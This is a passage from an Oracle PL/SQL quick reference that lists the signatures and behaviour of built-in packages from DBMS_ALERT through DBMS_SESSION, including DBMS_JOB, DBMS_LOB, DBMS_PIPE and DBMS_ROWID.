Signals the occurrence of alert name and attaches message. (Sessions registered for alert name are notified only when the signaling transaction commits.)

PROCEDURE DBMS_ALERT.WAITANY
    (name OUT VARCHAR2
    ,message OUT VARCHAR2
    ,status OUT INTEGER
    ,timeout IN NUMBER DEFAULT MAXWAIT);

Waits for up to timeout seconds to be notified of any alerts for which the session is registered. If status = 0 then name and message contain alert information. If status = 1 then timeout seconds elapsed without notification of any alert.

PROCEDURE DBMS_ALERT.WAITONE
    (name IN VARCHAR2
    ,message OUT VARCHAR2
    ,status OUT INTEGER
    ,timeout IN NUMBER DEFAULT MAXWAIT);

Waits for up to timeout seconds for notification of alert name. If status = 0 then message contains alert information. If status = 1 then timeout seconds elapsed without notification.

1.3.2 DBMS_APPLICATION_INFO

DBMS_APPLICATION_INFO allows applications to register their current execution status into several of the Oracle V$ virtual tables.

PROCEDURE DBMS_APPLICATION_INFO.READ_CLIENT_INFO
    (client_info OUT VARCHAR2);

Returns the currently registered client_info for the session.

PROCEDURE DBMS_APPLICATION_INFO.READ_MODULE
    (module_name OUT VARCHAR2
    ,action_name OUT VARCHAR2);

Returns the currently registered module_name and action_name for the session.

PROCEDURE DBMS_APPLICATION_INFO.SET_ACTION
    (action_name IN VARCHAR2);

Registers action_name into V$SESSION and V$SQLAREA as the current action for the session.

PROCEDURE DBMS_APPLICATION_INFO.SET_CLIENT_INFO
    (client_info IN VARCHAR2);

Registers client_info into V$SESSION as the current client information for the session.

PROCEDURE DBMS_APPLICATION_INFO.SET_MODULE
    (module_name IN VARCHAR2
    ,action_name IN VARCHAR2);

Registers module_name and action_name into V$SESSION and V$SQLAREA as the current module and action for the session.

PROCEDURE DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
    (hint IN OUT BINARY_INTEGER
    ,context IN NUMBER DEFAULT 0
    ,stepid IN NUMBER DEFAULT 0
    ,stepsofar IN NUMBER DEFAULT 0
    ,steptotal IN NUMBER DEFAULT 0
    ,sofar IN NUMBER DEFAULT 0
    ,totalwork IN NUMBER DEFAULT 0
    ,application_data_1 IN NUMBER DEFAULT 0
    ,application_data_2 IN NUMBER DEFAULT 0
    ,application_data_3 IN NUMBER DEFAULT 0);

Inserts or updates runtime data for long-running operations in the V$SESSION_LONGOPS virtual table. Rows are identified by the value of hint; a new row is acquired when hint is set to the package constant set_session_longops_nohint. Unique combinations of context and stepid also force a new row.

The SET_SESSION_LONGOPS procedure is used to track the progress of long-running operations by allowing the entry and modification of data in the V$SESSION_LONGOPS virtual table.

1.3.3 DBMS_AQ

The DBMS_AQ package allows you to enqueue to and dequeue messages from queues created in the Oracle Advanced Queuing facility. Oracle8 only.

PROCEDURE DBMS_AQ.ENQUEUE
    (queue_name IN VARCHAR2
    ,enqueue_options IN DBMS_AQ.ENQUEUE_OPTIONS_T
    ,message_properties IN DBMS_AQ.MESSAGE_PROPERTIES_T
    ,payload IN payload_type
    ,msgid OUT RAW);

Adds the message payload to the queue queue_name, using the options specified by the enqueue_options record. The payload_type is either RAW or the name of an object TYPE. Returns the pointer to the message in msgid.

PROCEDURE DBMS_AQ.DEQUEUE
    (queue_name IN VARCHAR2
    ,dequeue_options IN DBMS_AQ.DEQUEUE_OPTIONS_T
    ,message_properties OUT DBMS_AQ.MESSAGE_PROPERTIES_T
    ,payload OUT <payload_type>
    ,msgid OUT RAW);

Retrieves the message payload (either a RAW or an object of the specified TYPE) with message_properties specified by the dequeue_options. Also returns the msgid of that message.

1.3.4 DBMS_AQADM

The DBMS_AQADM package provides a set of programs you can use to create, manage, and drop queues and queue tables in the Oracle Advanced Queuing facility.

PROCEDURE DBMS_AQADM.CREATE_QUEUE_TABLE
    (queue_table IN VARCHAR2
    ,queue_payload_type IN VARCHAR2
    ,storage_clause IN VARCHAR2 DEFAULT NULL
    ,sort_list IN VARCHAR2 DEFAULT NULL
    ,multiple_consumers IN BOOLEAN DEFAULT FALSE
    ,message_grouping IN BINARY_INTEGER DEFAULT NONE
    ,comment IN VARCHAR2 DEFAULT NULL
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Creates a queue table named queue_table of queue_payload_type (RAW or the name of an object TYPE).

PROCEDURE DBMS_AQADM.CREATE_QUEUE
    (queue_name IN VARCHAR2
    ,queue_table IN VARCHAR2
    ,queue_type IN BINARY_INTEGER DEFAULT NORMAL_QUEUE
    ,max_retries IN NUMBER DEFAULT 0
    ,retry_delay IN NUMBER DEFAULT 0
    ,retention_time IN NUMBER DEFAULT 0
    ,dependency_tracking IN BOOLEAN DEFAULT FALSE
    ,comment IN VARCHAR2 DEFAULT NULL
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Creates a queue named queue_name in the queue table queue_table.

PROCEDURE DBMS_AQADM.DROP_QUEUE
    (queue_name IN VARCHAR2
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Drops the queue_name queue.

PROCEDURE DBMS_AQADM.DROP_QUEUE_TABLE
    (queue_table IN VARCHAR2
    ,force IN BOOLEAN DEFAULT FALSE
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Drops the queue_name queue from the queue table queue_table.

PROCEDURE DBMS_AQADM.START_QUEUE
    (queue_name IN VARCHAR2
    ,enqueue IN BOOLEAN DEFAULT TRUE
    ,dequeue IN BOOLEAN DEFAULT TRUE);

Starts the queue_name queue with enqueue and/or dequeue capabilities.

PROCEDURE DBMS_AQADM.STOP_QUEUE
    (queue_name IN VARCHAR2
    ,enqueue IN BOOLEAN DEFAULT TRUE
    ,dequeue IN BOOLEAN DEFAULT TRUE
    ,wait IN BOOLEAN DEFAULT TRUE);

Stops the queue_name queue for enqueue and/or dequeue capabilities with/without waiting for completion of outstanding transactions.

PROCEDURE DBMS_AQADM.ALTER_QUEUE
    (queue_name IN VARCHAR2
    ,max_retries IN NUMBER DEFAULT NULL
    ,retry_delay IN NUMBER DEFAULT NULL
    ,retention_time IN NUMBER DEFAULT NULL
    ,auto_commit IN BOOLEAN DEFAULT TRUE);

Alters the specified characteristics of the queue_name queue.

PROCEDURE DBMS_AQADM.ADD_SUBSCRIBER
    (queue_name IN VARCHAR2
    ,subscriber IN SYS.AQ$_AGENT);

Adds the subscriber agent to the queue_name queue.

PROCEDURE DBMS_AQADM.REMOVE_SUBSCRIBER
    (queue_name IN VARCHAR2
    ,subscriber IN SYS.AQ$_AGENT);

Removes the subscriber agent from the queue_name queue.

PROCEDURE DBMS_AQADM.GRANT_TYPE_ACCESS
    (user_name IN VARCHAR2);

Grants to user_name the ability to create queues that work with multiple consumers.

FUNCTION DBMS_AQADM.QUEUE_SUBSCRIBERS
    (queue_name IN VARCHAR2)
RETURN AQ$_SUBSCRIBER_LIST_T;

Returns the list of subscribers for the queue_name queue.

PROCEDURE DBMS_AQADM.START_TIME_MANAGER;

Starts the Queue Monitor process.

PROCEDURE DBMS_AQADM.STOP_TIME_MANAGER;

Stops the Queue Monitor process.

1.3.5 DBMS_DDL

DBMS_DDL contains programs to recompile stored code, analyze and compute statistics for database objects, and modify the referenceability of object identifiers in Oracle8.

PROCEDURE DBMS_DDL.ALTER_COMPILE
    (type IN VARCHAR2
    ,schema IN VARCHAR2
    ,name IN VARCHAR2);

Recompiles the stored PL/SQL object name (case-sensitive) owned by schema of type type. NULL schema uses current schema. Valid values for type are PROCEDURE, FUNCTION, PACKAGE, PACKAGE BODY, and PACKAGE SPECIFICATION.

PROCEDURE DBMS_DDL.ALTER_TABLE_NOT_REFERENCEABLE
    (table_name IN VARCHAR2
    ,table_schema IN VARCHAR2 DEFAULT NULL
    ,affected_schema IN VARCHAR2 DEFAULT NULL);

Reverts references to object table_name by schema affected_schema from table_name owned by table_schema to the default. Oracle8 only.

PROCEDURE DBMS_DDL.ALTER_TABLE_REFERENCEABLE
    (table_name IN VARCHAR2
    ,table_schema IN VARCHAR2 DEFAULT NULL
    ,affected_schema IN VARCHAR2 DEFAULT NULL);

Makes the object table owned by table_schema the table referenced from schema affected_schema for object name table_name. Oracle8 only.

PROCEDURE DBMS_DDL.ANALYZE_OBJECT
    (type IN VARCHAR2
    ,schema IN VARCHAR2
    ,name IN VARCHAR2
    ,method IN VARCHAR2
    ,estimate_rows IN NUMBER DEFAULT NULL
    ,estimate_percent IN NUMBER DEFAULT NULL
    ,method_opt IN VARCHAR2 DEFAULT NULL);

Analyzes database object name owned by schema of type type (TABLE, INDEX, or CLUSTER) using option method (ESTIMATE, NULL, or DELETE). When method is ESTIMATE, either estimate_rows or estimate_percent must be specified to identify sample size. Additional analyze options specifiable by method_opt are FOR TABLE, FOR ALL COLUMNS [SIZE N], FOR ALL INDEXED COLUMNS [SIZE N], and FOR ALL INDEXES.

1.3.6 DBMS_DESCRIBE

The DBMS_DESCRIBE package contains a single procedure used to describe the arguments of a stored PL/SQL procedure or function.

PROCEDURE DBMS_DESCRIBE.DESCRIBE_PROCEDURE
    (object_name IN VARCHAR2
    ,reserved1 IN VARCHAR2
    ,reserved2 IN VARCHAR2
    ,overload OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,position OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,level OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,argument_name OUT DBMS_DESCRIBE.VARCHAR2_TABLE
    ,datatype OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,default_value OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,in_out OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,length OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,precision OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,scale OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,radix OUT DBMS_DESCRIBE.NUMBER_TABLE
    ,spare OUT DBMS_DESCRIBE.NUMBER_TABLE);

Returns information about the parameters and RETURN type (if a function) of the specified object (procedure or function) in a set of PL/SQL tables, whose types are described in the same package.

1.3.7 DBMS_JOB

DBMS_JOB is an interface into the Oracle job queue subsystem that allows automated, unattended scheduling and execution of PL/SQL programs.

PROCEDURE DBMS_JOB.BROKEN
    (job IN BINARY_INTEGER
    ,broken IN BOOLEAN
    ,next_date IN DATE DEFAULT SYSDATE);

Sets or unsets the Boolean broken flag for the job, and optionally sets the next execution date specified by next_date. Jobs flagged with broken = TRUE are not automatically executed.

PROCEDURE DBMS_JOB.CHANGE
    (job IN BINARY_INTEGER
    ,what IN VARCHAR2
    ,next_date IN DATE
    ,interval IN VARCHAR2);

Changes one or more of the parameters what, next_date, or interval for job.

PROCEDURE DBMS_JOB.INTERVAL
    (job IN BINARY_INTEGER
    ,interval IN VARCHAR2);

Changes the date expression used to determine the next execution date for job to interval.

PROCEDURE DBMS_JOB.ISUBMIT
    (job IN BINARY_INTEGER
    ,what IN VARCHAR2
    ,next_date IN VARCHAR2
    ,interval IN VARCHAR2 DEFAULT `null'
    ,no_parse IN BOOLEAN DEFAULT FALSE);

Submits a job with the specified job number and PL/SQL definition what, scheduled to execute at next_date and every interval thereafter. When no_parse is TRUE, parsing of the PL/SQL in what is deferred until execution.

PROCEDURE DBMS_JOB.NEXT_DATE
    (job IN BINARY_INTEGER
    ,next_date IN DATE);

Changes the next scheduled date of execution for job to next_date.

PROCEDURE DBMS_JOB.REMOVE
    (job IN BINARY_INTEGER);

Removes job from the job queue. If job is currently executing, it will run to normal completion, but will not be rescheduled.

PROCEDURE DBMS_JOB.RUN
    (job IN BINARY_INTEGER);

Immediately executes job in the current session.

PROCEDURE DBMS_JOB.SUBMIT
    (job OUT BINARY_INTEGER
    ,what IN VARCHAR2
    ,next_date IN DATE DEFAULT SYSDATE
    ,interval IN VARCHAR2 DEFAULT `null'
    ,no_parse IN BOOLEAN DEFAULT FALSE);

Submits a job to the job queue with PL/SQL definition what, scheduled to execute at next_date and every interval thereafter. Job returns the identification number for the job. When no_parse is TRUE, parsing of the PL/SQL in what is deferred until execution.

PROCEDURE DBMS_JOB.USER_EXPORT
    (job IN BINARY_INTEGER
    ,mycall IN OUT VARCHAR2);

Returns a character string in mycall containing a call to DBMS_JOB.ISUBMIT that can be used to re-submit job to the job queue.

PROCEDURE DBMS_JOB.WHAT
    (job IN BINARY_INTEGER
    ,what IN VARCHAR2);

Changes the PL/SQL definition for job to what.

1.3.8 DBMS_LOB

DBMS_LOB provides a mechanism for accessing and manipulating large objects. LOBs include BLOBs (binary large objects), CLOBs (character large objects), NCLOBs (National Language Support character large objects), and BFILEs (binary files). The CHARACTER SET ANY_CS clauses in the CLOB declarations allow either CLOB or NCLOB locators. Oracle 8 only.

PROCEDURE DBMS_LOB.APPEND
    (dest_lob IN OUT BLOB
    ,src_lob  IN BLOB);

PROCEDURE DBMS_LOB.APPEND
    (dest_lob IN OUT CLOB CHARACTER SET ANY_CS
    ,src_lob IN CLOB CHARACTER SET dest_lob%CHARSET);

Appends the contents of the source LOB src_lob to the destination LOB dest_lob. Both src_lob and dest_lob must be of the same LOB type: BLOB, CLOB, or NCLOB.

FUNCTION DBMS_LOB.COMPARE
    (lob_1 IN BLOB | CLOB CHARACTER SET ANY_CS
    ,lob_2 IN BLOB | CLOB CHARACTER SET lob_1%CHARSET
    ,amount IN INTEGER := 4294967295
    ,offset_1 IN INTEGER := 1
    ,offset_2 IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.COMPARE
    (file_1 IN BFILE
    ,file_2 IN BFILE
    ,amount IN INTEGER
    ,offset_1 IN INTEGER := 1
    ,offset_2 IN INTEGER := 1)
RETURN INTEGER;

Compares input LOBs lob_1 and lob_2 or file_1 and file_2 across amount bytes, optionally starting the comparison offset_1 and offset_2 bytes into the input files. Both inputs must be of the same LOB type: BLOB, CLOB, NCLOB, or BFILE.

Returns 0 if they exactly match, non-0 if they don't match, or NULL if any of amount, offset_1, or offset_2 are either less than 1 or greater than lobmaxsize.

PROCEDURE DBMS_LOB.COPY
    (dest_lob IN OUT BLOB,
    ,src_lob IN BLOB
    ,amount IN INTEGER
    ,dest_offset IN INTEGER := 1
    ,src_offset IN INTEGER := 1);

PROCEDURE DBMS_LOB.COPY
    (dest_lob IN OUT CLOB CHARACTER SET ANY_CS
    ,src_lob IN CLOB CHARACTER SET dest_lob%CHARSET,
    ,amount IN INTEGER
    ,dest_offset IN INTEGER := 1
    ,src_offset IN INTEGER := 1);

Copies amount bytes (BLOB) or characters (CLOB) from source LOB lob_loc, starting src_offset bytes or characters into the source LOB to the destination (target) LOB, dest_lob, starting dest_offset into the destination LOB. Both src_lob and dest_lob must be the same LOB type: BLOB, CLOB, or NCLOB.

PROCEDURE DBMS_LOB.ERASE
    (lob_loc IN OUT BLOB | CLOB CHARACTER SET ANY_CS
    ,amount IN OUT INTEGER
    ,offset IN INTEGER := 1);

Erases (zero byte fill) amount bytes (BLOB) or characters (CLOB) in the LOB lob_loc, beginning offset bytes or characters into the LOB lob_loc.

PROCEDURE DBMS_LOB.FILECLOSE
    (file_loc IN OUT BFILE);

Closes the BFILE file_loc, whether it is open or not.

PROCEDURE DBMS_LOB.FILECLOSEALL;

Closes all open BFILEs in the current session.

FUNCTION DBMS_LOB.FILEEXISTS
    (file_loc IN BFILE)
RETURN INTEGER;

Returns 1 if BFILE file_loc exists; returns 0 otherwise.

PROCEDURE DBMS_LOB.FILEGETNAME
    (file_loc IN BFILE
    ,dir_alias OUT VARCHAR2
    ,filename OUT VARCHAR2);

Gets directory alias (as previously defined via the CREATE DIRECTORY command) and filename for the given file locator file_loc.

FUNCTION DBMS_LOB.FILEISOPEN
    (file_loc IN BFILE)
RETURN INTEGER;

Returns 1 if the BFILE file_loc is open; returns 0 otherwise.

PROCEDURE DBMS_LOB.FILEOPEN
    (file_loc IN OUT BFILE
    ,open_mode IN BINARY_INTEGER := FILE_READONLY);

Opens BFILE file_loc for read-only access.

FUNCTION DBMS_LOB.GETLENGTH
    (lob_loc IN BLOB)
RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH
    (lob_loc IN CLOB CHARACTER SET ANY_CS)
RETURN INTEGER;

FUNCTION DBMS_LOB.GETLENGTH
    (lob_loc IN BFILE)
RETURN INTEGER;

Returns the size in bytes or characters of the LOB lob_loc.

FUNCTION DBMS_LOB.INSTR
    (lob_loc IN BLOB | BFILE
    ,pattern IN RAW
    ,offset IN INTEGER := 1
    ,nth IN INTEGER := 1)
RETURN INTEGER;

FUNCTION DBMS_LOB.INSTR
    (lob_loc IN CLOB CHARACTER SET ANY_CS
    ,pattern IN VARCHAR2 CHARACTER SET lob_loc%CHARSET
    ,offset IN INTEGER := 1
    ,nth IN INTEGER := 1)
RETURN INTEGER;

Similar to the built-in function INSTR. Returns the byte (BLOB) or character (CLOB) offset in LOB lob_loc where the nth occurrence of pattern is found. The search begins offset bytes or characters into lob_loc.

PROCEDURE DBMS_LOB.LOADFROMFILE
    (dest_lob IN OUT BLOB | CLOB CHARACTER SET ANY_CS
    ,src_lob IN BFILE
    ,amount IN INTEGER
    ,dest_offset IN INTEGER := 1
    ,src_offset IN INTEGER := 1);

Copies amount bytes of data from the source BFILE src_lob to the destination (target) LOB dest_lob, starting src_offset bytes into the source BFILE and dest_offset bytes into the destination (target) LOB.

PROCEDURE DBMS_LOB.READ
    (lob_loc IN BLOB | BFILE
    ,amount IN OUT BINARY_INTEGER
    ,offset IN INTEGER
    ,buffer OUT RAW);

PROCEDURE DBMS_LOB.READ
    (lob_loc IN CLOB CHARACTER SET ANY_CS
    ,amount IN OUT BINARY_INTEGER
    ,offset IN INTEGER
    ,buffer OUT VARCHAR2 CHARACTER SET lob_loc%CHARSET);

Copies amount bytes (BLOB) or characters (CLOB) from source LOB lob_loc, starting offset bytes or characters into the LOB to the destination (target) variable, buffer. Returns the actual number of bytes or characters copied in amount.

FUNCTION DBMS_LOB.SUBSTR
    (lob_loc IN BLOB | BFILE
    ,amount IN INTEGER := 32767
    ,offset IN INTEGER := 1)
RETURN RAW;

FUNCTION DBMS_LOB.SUBSTR
    (lob_loc IN CLOB CHARACTER SET ANY_CS
    ,amount IN INTEGER := 32767
    ,offset IN INTEGER := 1)
RETURN VARCHAR2 CHARACTER SET lob_loc%CHARSET;

Similar to the built-in function SUBSTR. Returns amount bytes (BLOB) or characters (CLOB) of the LOB lob_loc starting offset bytes or characters into the LOB.

PROCEDURE DBMS_LOB.TRIM
    (lob_loc IN OUT BLOB | CLOB CHARACTER SET ANY_CS
    ,newlen IN INTEGER);

Truncates the LOB lob_loc to newlen bytes (BLOB) or characters (CLOB).

PROCEDURE DBMS_LOB.WRITE
    (lob_loc IN OUT BLOB
    ,amount IN BINARY_INTEGER
    ,offset IN INTEGER
    ,buffer IN RAW);

PROCEDURE DBMS_LOB.WRITE
    (lob_loc IN OUT CLOB CHARACTER SET ANY_CS
    ,amount IN BINARY_INTEGER
    ,offset IN INTEGER
    ,buffer IN VARCHAR2 CHARACTER SET lob_loc%CHARSET);

Copies amount bytes from source variable buffer to the destination LOB lob_loc, starting offset bytes (BLOB) or characters (CLOB) into the LOB, overwriting any existing data in lob_loc.

1.3.9 DBMS_LOCK

DBMS_LOCK makes Oracle lock management services available for implementation of specialized, non-data locking and serialization requirements within applications.

PROCEDURE DBMS_LOCK.ALLOCATE_UNIQUE
    (lockname IN VARCHAR2
    ,lockhandle OUT VARCHAR2
    ,expiration_secs IN INTEGER DEFAULT 864000);

Allocates a unique lockhandle for the lock identified by lockname to last for expiration_secs seconds. Also performs a COMMIT.

FUNCTION DBMS_LOCK.CONVERT
    (id IN INTEGER | lockhandle IN VARCHAR2
    ,lockmode IN INTEGER
    ,timeout IN NUMBER DEFAULT MAXWAIT)
RETURN INTEGER;

Converts the lock identified by either id or lockhandle to the mode specified by lockmode, waiting for up to timeout seconds for successful completion. lockmode must be a valid constant as defined in the DBMS_LOCK package. Return values are 0 = success; 1 = timed out; 2 = deadlock; 3 = parameter error; 4 = do not own lock, cannot convert; or 5 = illegal lockhandle.

FUNCTION DBMS_LOCK.RELEASE
    (id IN INTEGER | lockhandle IN VARCHAR2)
RETURN INTEGER;

Releases the lock identified by either id or lockhandle. Return values are: 0 = success; 3 = parameter error; 4 = do not own lock, cannot release; or 5 = illegal lockhandle.

FUNCTION DBMS_LOCK.REQUEST
    (id IN INTEGER | lockhandle IN VARCHAR2
    ,lockmode IN INTEGER DEFAULT X_MODE
    ,timeout IN INTEGER DEFAULT MAXWAIT
    ,release_on_commit IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

Acquires the lock identified by either id or lockhandle in the mode specified by lockmode, waiting for up to timeout seconds for successful completion. When release_on_commit is TRUE, the lock is automatically released by transaction COMMIT or ROLLBACK. lockmode must be a valid constant as defined in the DBMS_LOCK package. Return values are 0 = success; 1 = timed out; 2 = deadlock; 3 = parameter error; 4 = do not own lock, cannot convert; or 5 = illegal lockhandle.

PROCEDURE DBMS_LOCK.SLEEP
    (seconds IN NUMBER);

Suspends the session for seconds seconds.

1.3.10 DBMS_OUTPUT

This package provides a mechanism for displaying information on your session's output device from within a PL/SQL program. You can use it as a crude debugger or trace facility.

PROCEDURE DBMS_OUTPUT.DISABLE;

Disables output from the package and purges the DBMS_OUTPUT buffer.

PROCEDURE DBMS_OUTPUT.ENABLE
    (buffer_size IN INTEGER DEFAULT 20000);

Enables output from the package and sets to buffer_size the maximum number of bytes that can be stored in the buffer.

PROCEDURE DBMS_OUTPUT.GET_LINE
    (line OUT VARCHAR2
    ,status OUT INTEGER);

Gets the next line from the buffer and places it in line. A status of 0 means successful retrieval; 1 means failure.

PROCEDURE DBMS_OUTPUT.GET_LINES
    (lines OUT DBMS_OUTPUT.CHARARR
    ,numlines IN OUT INTEGER);

Gets numlines number of lines from the buffer and places them in the lines PL/SQL table.

PROCEDURE DBMS_OUTPUT.NEW_LINE;

Writes a newline character to the DBMS_OUTPUT buffer.

PROCEDURE DBMS_OUTPUT.PUT
    (a IN DATE|NUMBER|VARCHAR2);

Puts the data contained in a in the DBMS_OUTPUT buffer and does not append a newline character.

PROCEDURE DBMS_OUTPUT.PUT_LINE
    (a IN DATE|NUMBER|VARCHAR2);

Puts the data contained in a in the DBMS_OUTPUT buffer and then appends a newline character.

1.3.11 DBMS_PIPE

DBMS_PIPE permits communication of messages between database sessions using memory-based structures. Communication is asynchronous, non-transactional, and persists beyond session lifetime.

FUNCTION DBMS_PIPE.CREATE_PIPE
    (pipename IN VARCHAR2
    ,maxpipesize IN INTEGER DEFAULT 8192
    ,private IN BOOLEAN DEFAULT TRUE)
RETURN INTEGER;

Creates a pipe identified by pipename with maximum size maxpipesize and returns 0. When private is FALSE, the pipe is publicly accessible.

FUNCTION DBMS_PIPE.NEXT_ITEM_TYPE
RETURN INTEGER;

Returns an integer identifying the datatype of the next item in the session message buffer.

PROCEDURE DBMS_PIPE.PACK_MESSAGE
    (item IN VARCHAR2 | NUMBER | DATE);

Packs item into the session message buffer, overloaded on the datatype of item.

PROCEDURE DBMS_PIPE.PACK_MESSAGE_RAW
    (item IN RAW);

Packs the raw data in item into the session message buffer.

PROCEDURE DBMS_PIPE.PACK_MESSAGE_ROWID
    (item IN ROWID);

Packs the ROWID data in item into the session message buffer.

PROCEDURE DBMS_PIPE.PURGE
    (pipename IN VARCHAR2);

Purges all messages from pipename.

FUNCTION DBMS_PIPE.RECEIVE_MESSAGE
    (pipename IN VARCHAR2
    ,timeout IN INTEGER DEFAULT MAXWAIT)
RETURN INTEGER;

Receives a message from pipename into the session message buffer, waiting for up to timeout seconds for successful completion. Returns 0 for success and 1 for timeout.

FUNCTION DBMS_PIPE.REMOVE_PIPE
    (pipename IN VARCHAR2)
RETURN INTEGER;

Removes pipename and frees its memory back to the shared pool, returning 0.

PROCEDURE DBMS_PIPE.RESET_BUFFER;

Resets the session message buffer's pack and unpack indicators, effectively discarding all contents.

FUNCTION DBMS_PIPE.SEND_MESSAGE
    (pipename IN VARCHAR2
    ,timeout IN INTEGER DEFAULT MAXWAIT
    ,maxpipesize IN INTEGER DEFAULT 8192)
RETURN INTEGER;

Sends the contents of the session message buffer onto pipename, waiting for up to timeout seconds for successful completion and optionally increasing the maximum size of pipename to maxpipesize. Returns 0 for success and 1 for timeout.

FUNCTION DBMS_PIPE.UNIQUE_SESSION_NAME
RETURN VARCHAR2;

Returns a string identifier unique to the session up to 30 bytes in length.

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE
    (item OUT VARCHAR2 | NUMBER | DATE);

Unpacks the next data item in the message buffer into item, overloaded on the datatype of item.

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE_RAW
    (item OUT RAW);

Unpacks the next data item in the message buffer into item when it is of datatype RAW.

PROCEDURE DBMS_PIPE.UNPACK_MESSAGE_ROWID
    (item OUT ROWID);

Unpacks the next data item in the message buffer into item when it is of datatype ROWID.

1.3.12 DBMS_RANDOM

DBMS_RANDOM provides a random number generating utility. Oracle8 only.

PROCEDURE DBMS_RANDOM.INITIALIZE
    (seed IN BINARY_INTEGER);

Initializes the random number generator with the value of seed, which should be at least five digits in length.

FUNCTION DBMS_RANDOM.RANDOM
RETURN BINARY_INTEGER;

Returns a random integer value from the random number generator.

PROCEDURE DBMS_RANDOM.SEED
    (seed IN BINARY_INTEGER);

Changes the random number generator's seed value to seed, which should be at least five digits in length.

PROCEDURE DBMS_RANDOM.TERMINATE;

Releases resources used by the random number generator when no longer needed.

1.3.13 DBMS_ROWID

DBMS_ROWID provides routines for working with ROWIDs. ROWIDs changed structure in Oracle8, and for Oracle8 this built-in works with both the old and new ROWID types.

An Oracle7 (restricted) ROWID has three parts in base 16 (hex):

BBBBBBBB.RRRR.FFFF

An Oracle8 (extended) ROWID has four parts in base 64:

OOOOOOFFFBBBBBBRRR

where:

OOOOOO is the object number.
FFFF (FFF) is the absolute (V7) or relative (V8) file number.
BBBBBBBB (BBBBBB) is the block number within the file.
RRRR (RRR) is the row number within the block.
FUNCTION DBMS_ROWID.ROWID_BLOCK_NUMBER
    (row_id IN ROWID)
RETURN NUMBER;

Returns the block number component of row_id.

FUNCTION DBMS_ROWID.ROWID_CREATE
    (rowid_type IN NUMBER
    ,object_number IN NUMBER
    ,relative_fno IN NUMBER
    ,block_number IN NUMBER
    ,row_number IN NUMBER)
RETURN ROWID;

Creates a rowid_type ROWID composed of object_number, relative_fno, block_number, and row_number ROWID. rowid_type can beROWID_TYPE_EXTENDED or ROWID_TYPE_RESTRICTED. object_number can be ROWID_OBJECT_UNDEFINED or the object number (OID).

PROCEDURE DBMS_ROWID.ROWID_INFO
    (rowid_in IN ROWID
    ,rowid_type OUT NUMBER
    ,object_number OUT NUMBER
    ,relative_fno OUT NUMBER
    ,block_number OUT NUMBER
    ,row_number OUT NUMBER);

Parses rowid_in into its individual components. rowid_type can beROWID_TYPE_EXTENDED or ROWID_TYPE_RESTRICTED. object_number can be ROWID_OBJECT_UNDEFINED or the object number (OID).

FUNCTION DBMS_ROWID.ROWID_OBJECT
    (row_id IN ROWID)
RETURN NUMBER;

Returns the object number component of row_id.

FUNCTION DBMS_ROWID.ROWID_RELATIVE_FNO
    (row_id IN ROWID)
RETURN NUMBER;

Returns the relative file number component of row_id.

FUNCTION DBMS_ROWID.ROWID_ROW_NUMBER
    (row_id IN ROWID)
RETURN NUMBER;

Returns the row number component of row_id.

FUNCTION DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO
    (row_id IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2)
RETURN NUMBER;

Returns the absolute file number for row_id, schema_name, and object_name.

FUNCTION DBMS_ROWID.ROWID_TO_EXTENDED
    (old_rowid IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2
    ,conversion_type IN INTEGER)
RETURN ROWID;

Returns the extended ROWID for the restricted old_rowid, schema_name, and object_name using conversion_type. The conversion_type can be either ROWID_CONVERT_INTERNAL (ROWID was stored in a column of type ROWID) or ROWID_CONVERT_EXTERNAL (ROWID was stored in a column of type CHAR/VARCHAR/VARCHAR2).

FUNCTION DBMS_ROWID.ROWID_TO_RESTRICTED
    (old_rowid IN ROWID
    ,conversion_type IN INTEGER)
RETURN ROWID;

Returns a restricted ROWID for the extended old_rowid using conversion_type. The conversion_type can be either ROWID_CONVERT_INTERNAL (ROWID will be stored in a column of type ROWID) or ROWID_CONVERT_EXTERNAL (ROWID will be stored in a column of type CHAR/VARCHAR/VARCHAR2).

FUNCTION DBMS_ROWID.ROWID_TYPE
    (row_id IN ROWID)
RETURN NUMBER;

Returns ROWID_TYPE_EXTENDED or ROWID_TYPE_RESTRICTED for row_id.

FUNCTION DBMS_ROWID.ROWID_VERIFY
    (rowid_in IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2
    ,conversion_type IN INTEGER)
RETURN NUMBER;

Returns ROWID_VALID or ROWID_INVALID for rowid_in, schema_name, and object_name, using conversion_type. The conversion_type can be either ROWID_CONVERT_INTERNAL (rowid_in is stored in a column of type ROWID) or ROWID_CONVERT_EXTERNAL (rowid_in is stored in a column of type CHAR/VARCHAR/VARCHAR2).

1.3.14 DBMS_SESSION

DBMS_SESSION provides facilities to set and modify session settings, enable or disable roles, and manage session resources.

PROCEDURE DBMS_SESSION.CLOSE_DATABASE_LINK
    (dblink IN VARCHAR2);

Closes the database link dblink or raises an exception if dblink is not open or is in use.

PROCEDURE DBMS_SESSION.FREE_UNUSED_USER_MEMORY;

Releases freeable session memory back to the operating system (dedicated connection) or the Oracle shared pool (shared server connection).

FUNCTION DBMS_SESSION.IS_ROLE_ENABLED
    (rolename IN VARCHAR2)
RETURN BOOLEAN;

Returns TRUE if the rolename is currently enabled in the session.

FUNCTION DBMS_SESSION.IS_SESSION_ALIVE
    (uniqueid IN VARCHAR2)
RETURN BOOLEAN;

Returns TRUE if the session identified by uniqueid is still alive. Oracle8 only.

PROCEDURE DBMS_SESSION.RESET_PACKAGE;

